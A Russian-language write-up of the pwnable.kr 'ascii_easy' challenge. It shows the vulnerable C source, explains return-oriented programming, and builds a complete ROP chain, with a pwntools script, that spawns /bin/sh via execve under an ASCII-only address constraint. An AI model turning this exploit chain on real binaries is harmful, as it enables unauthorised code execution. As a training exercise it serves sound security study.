Решение задания с pwnable.kr 26 — ascii_easy. Разбираемся с ROP-гаджетами с нуля раз и навсегда
В данной статье решим 26-е задание с сайта pwnable.kr и разберемся с тем, что же такое ROP, как это работает, почему это так опасно и составим ROP-цепочеку с дополнительными усложняющими файторами.
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Решение задания ascii_easy
Продолжаем второй раздел. Скажу сразу, что сложнее первого, но в этот раз нам предоставляют исходный код программы. Не забываем про обсуждение здесь (https://t.me/RalfHackerPublicChat) и здесь (https://t.me/RalfHackerChannel). Начнем.
Нажимаем на иконку с подписью ascii_easy. Нам дают адрес и порт для подключения по ssh.
Подключаемся по SSH и видим флаг, программу, исходный код и libc библиотеку.
Давайте посмотри исходный код.
#include
#include
#include
#include
#include
#include
#define BASE ((void*)0x5555e000)
int is_ascii(int c){
if(c>=0x20 && c<=0x7f) return 1;
return 0;
}
void vuln(char* p){
char buf[20];
strcpy(buf, p);
}
void main(int argc, char* argv[]){
if(argc!=2){
printf("usage: ascii_easy [ascii input]\n");
return;
}
size_t len_file;
struct stat st;
int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY);
if( fstat(fd,&st) < 0){
printf("open error. tell admin!\n");
return;
}
len_file = st.st_size;
if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){
printf("mmap error!. tell admin\n");
return;
}
int i;
for(i=0; i
Разберем его по блокам. Программа принимает строку в качестве аргумента.
При этом строка должна состоять только из ascii символов.
Так же выделяется область памяти с известным адресом базы и правами на чтение, запись и исполнениею. В эту область помещается библиотека libc.
В добавок ко всему, в программе есть уязвимая функция.
При этом если проверить программу, то можно убедиться, что она имеет неисполняемый стек (параметр NX). Будем решать с помощью составления ROP.
Давайте скопируем библиотеку себе.
scp -P2222 ascii_easy@pwnable.kr:/home/ascii_easy/libc-2.15.so /root/
Теперь нужно собрать ROP-цепочку. Для этого воспользуемся инструментом ROP-gadget.
ROPgadget --binary libc-2.15.so > gadgets.txt
В файле gadgets.txt у нас находятся все возможные ROP-цепочки (пример 10 первых представлен ниже).
Проблема в том, что нам нужно выбрать те, которые состоят только из ascii символов. Для этого напишем простой фильтр, который оставит лишь те адреса, каждый байт которых принадлежит промежутку от 0×20 до 0×7f включительно.
def addr_check(addr):
ret = True
for i in range(0,8,2):
if int(addr[i:i+2], 16) not in range(0x20, 0x80):
ret = False
return ret
f = open('gadgets.txt', 'rt')
old_gadgets = f.read().split('\n')[2:-3]
f.close()
new_gadgets = ""
base_addr = 0x5555e000
for gadget in old_gadgets:
addr = base_addr + int(gadget.split(' : ')[0], 16)
if addr_check(hex(addr)[2:]):
new_gadgets += (hex(addr) + ' :' + ":".join(gadget.split(':')[1:]) + '\n')
f = open('new_gadgets.txt', 'wt')
f.write(new_gadgets)
f.close()
Запустим программу и получим список удовлетворяющих нас адресов ROP-гаджетов.
ROP-гаджеты
Многие просили подробнее описать про возвратно-ориетированное программирование. Хорошо, давайте приведем пример с иллюстрациями. Допустим мы имеем уязвимость переполнение буфера и неисполняемый стек.
ROP-гаджет представляет из себя набор инструкций, который заканчивается инструкцией возврата ret. Как правило, гаджеты выбирают из окончаний функций. В качестве примера возьмем несколько функций. В каждой из них выбираем ROP-гаджет (выделено красным цветом).
Таким образом мы имеем несколько ROP-цепочек: 0x000ed7cb: mov eax, edx; pop ebx; pop esi; ret
0x000ed7cd: pop ebx; pop esi; ret
0x000ed7ce: pop esi; ret
0x00033837: pop ebx; ret
0x0010ec1f: add esp, 0x2c; ret
Теперь разберем, что же за зверь такой — ROP-цепочки. При переполнении буфера мы можем переписать адрес возврата. Допустим в данный момент в целевой функции должна выполниться инструкция ret, то есть на вершине стека расположен какой-то валидный адрес.
К примеру, мы хотим выполнить следующий код: add esp, 0x2c
add esp, 0x2c
add esp, 0x2c
mov eax, edx
pop ebx
pop esi
ret
Мы должны перезаписать валидный адрес возврата следующими адресами: 0x0010ec1f
0x0010ec1f
0x0010ec1f
0x000ed7cb
Чтобы понять, почему это сработает, давайте посмотрим на изображение ниже.
Таким образом, вместо возврата на валидный адрес, мы перемещаемся на первый адрес нашей ROP-цепочки. После выполнения первой команды, инструкция ret переместит выполнение программы на следующий адрес в стеке, то есть на вторую команду. Вторая команда также заканчивается ret«ом, который также переместит на следующую команду, адрес которой указан в стеке. Таким образом мы добиваемся выполнение ранее составленного нами кода.
Составление ROP-цепочки для ascii_easy.
Первым делом — выясним сколько байт нам нужно для переполнения буфера. Запустим программу в gdb и подадим строку на вход.
И программа вылетает по адресу «bbbb», что означает, что паддинг составляет 32 символа.
Для эксплуатации ROP удобнее всего использовать функцию execve. Удобство заключается в передаче параметров через регистры. Давайте найдем эту функцию в библиотеке libc. Это можно сделать с помощью GDB.
Но если прибавить к адресу функции адрес загрузки библиотеки в память, то мы увидим, что он не будет удовлетворять условию ascii.
Но есть другой вариант вызвать функцию. Это через системный вызов. В ОС Linux каждый системный вызов имеет свой номер. Этот номер должен быть расположен в регистре EAX, после чего следует вызов прерывания int 0×80. Полную таблицу сисколов (syscall) можно посмотреть здесь.
Таким образов функция execve имеет номер 11, то есть в регистре EAX должно быть расположено значение 0xb. Передача параметров происходит через регистры EBX — адрес на начало строки-парметра, ECX — адрес на указатель на строку-параметр и EDX — адрес на указатель на аргумен переменные окружения.
В функцию нам нужно передать строку »/bin/sh». Для этого нам нужно будет ее записать в разрешенное для записи место и передать адрес строки в качестве параметра. Строку придется сохранять по 4 символа, т.е.»/bin» и »//sh», так как регистры передают по 4 байта. Для этого я нашел следующие гаджеты: 0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret
0x55687b3c : mov dword ptr [edx], edi ; pop esi ; pop edi ; ret
Данный гаджет:
- Возьмет из стека адрес для записи строки, и поместит его в регистр edx, обнулит eax.
- Возьмет из стека значение и поместит в edi.
- Скопирует значение из edi по адресу в edx (запишет нашу строку по нужному адресу).
- Возьмет из стека еще два значения.
Таким образом, для его работы необходимо передать следующие значения: 0x555f3555 ; адрес первого гаджета
memory_addr ; адрес для записи строки (edx)
4_байта_строки ; 4 байта копируемой строки (edi)
0x55687b3c ; адрес второго гаджета
4_любых_байта ; чтобы забить регристр (esi)
4_любых_байта ; чтобы забить регристр (edi)
После чего можно выполнить эти же гаджеты, для копирования второй части строки. Найти адрес для записи не составит труда, так как библиотека загружается в область памяти, доступную для чтения, записи и исполнения.
Там можно взять любой адресов, удовлетворяющих условию ascii. Я взял адрес 0×55562023.
Теперь необходимо закончить нашу строку нулевым символом. Для этой задачи я использую следующуб цепочку гаджетов: 0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret
0x5560645c : mov dword ptr [edx], eax ; ret
Данный гаджет:
- Возьмет из стека адрес для записи null, и поместит его в регистр edx, обнулит eax.
- Возьмет из стека значение.
- Скопирует значение из обнуленного eax по адресу в edx.
Таким образом, для его работы необходимо передать следующие значения: 0x555f3555 ; адрес первого гаджета
memory_addr+8 ; адрес для записи 0 - конец строки (edx)
4_любых_байта ; чтобы заполнить регистр edi
0x5560645c ; адрес второго гаджета
Таким образом мы скопировали нашу строку в память. Дальше нужно заполнить регистры, для передачи значений. Так как вызываемая в execve программа »/bin/sh» не будет иметь собственных аргументов и переменных окружения, мы передадим в них указатель на null. В ebx запишем адрес на строку и в eax запишем 11 — номер сискола execve. Для этого я нашел следующие гаджеты: 0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret
0x556d2a51 : pop ecx ; add al, 0xa ; ret
0x5557734e : pop ebx ; ret
0x556c6864 : inc eax ; ret
Данный гаджет:
- Поместит из стека значение в edx, обнулит eax.
- Переместит значение из стека в edi.
- Переместит значение из стека в ecx, прибавит к обнуленному eax 10.
- Переместит значение из стека в ebx.
- Увеличит eax с 10 до 11.
Таким образом, для его работы необходимо передать следующие значения: 0x555f3555 ; адрес первого гаджета
memory_addr+8 ; адрес null (edx)
4_любых_байта ; чтобы заполнить регистр edi
0x556d2a51 ; адрес второго гаджета
memory_addr+8 ; адрес null (ecx)
0x5557734e ; адрес третьего гаджета
memory_addr ; адрес строки-параметра(ebx)
0x556c6864 ; адрес четвертого гаджета
И завершаем наш ROP-chain вызовом исключения.0x55667176 : inc esi ; int 0x80
Ниже приведу более сокращенную и общую запись рассказанного выше.
И код, формирующий пэйлоад.
from pwn import *
payload = "a"*32
pop_edx = 0x555f3555
memory_addr = 0x55562023
mov_edx_edi = 0x55687b3c
mov_edx_eax = 0x5560645c
pop_ecx = 0x556d2a51
pop_ebx = 0x5557734e
inc_eax = 0x556c6864
int_80 = 0x55667176
payload += p32(pop_edx)
payload += p32(memory_addr)
payload += '/bin'
payload += p32(mov_edx_edi)
payload += 'aaaaaaaa'
payload += p32(pop_edx)
payload += p32(memory_addr + 4)
payload += '//sh'
payload += p32(mov_edx_edi)
payload += 'aaaaaaaa'
payload += p32(pop_edx)
payload += p32(memory_addr + 8)
payload += 'aaaa'
payload += p32(mov_edx_eax)
payload += p32(pop_edx)
payload += p32(memory_addr + 8)
payload += 'aaaa'
payload += p32(pop_ecx)
payload += p32(memory_addr + 8)
payload += p32(pop_ebx)
payload += p32(memory_addr)
payload += p32(inc_eax)
payload += p32(int_80)
print(payload)
Скажу честно, для меня, почему-то, это было одно из самых сложных заданий с этой площадки…
Дальше больше и сложнее… Вы можете присоединиться к нам в Telegram. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.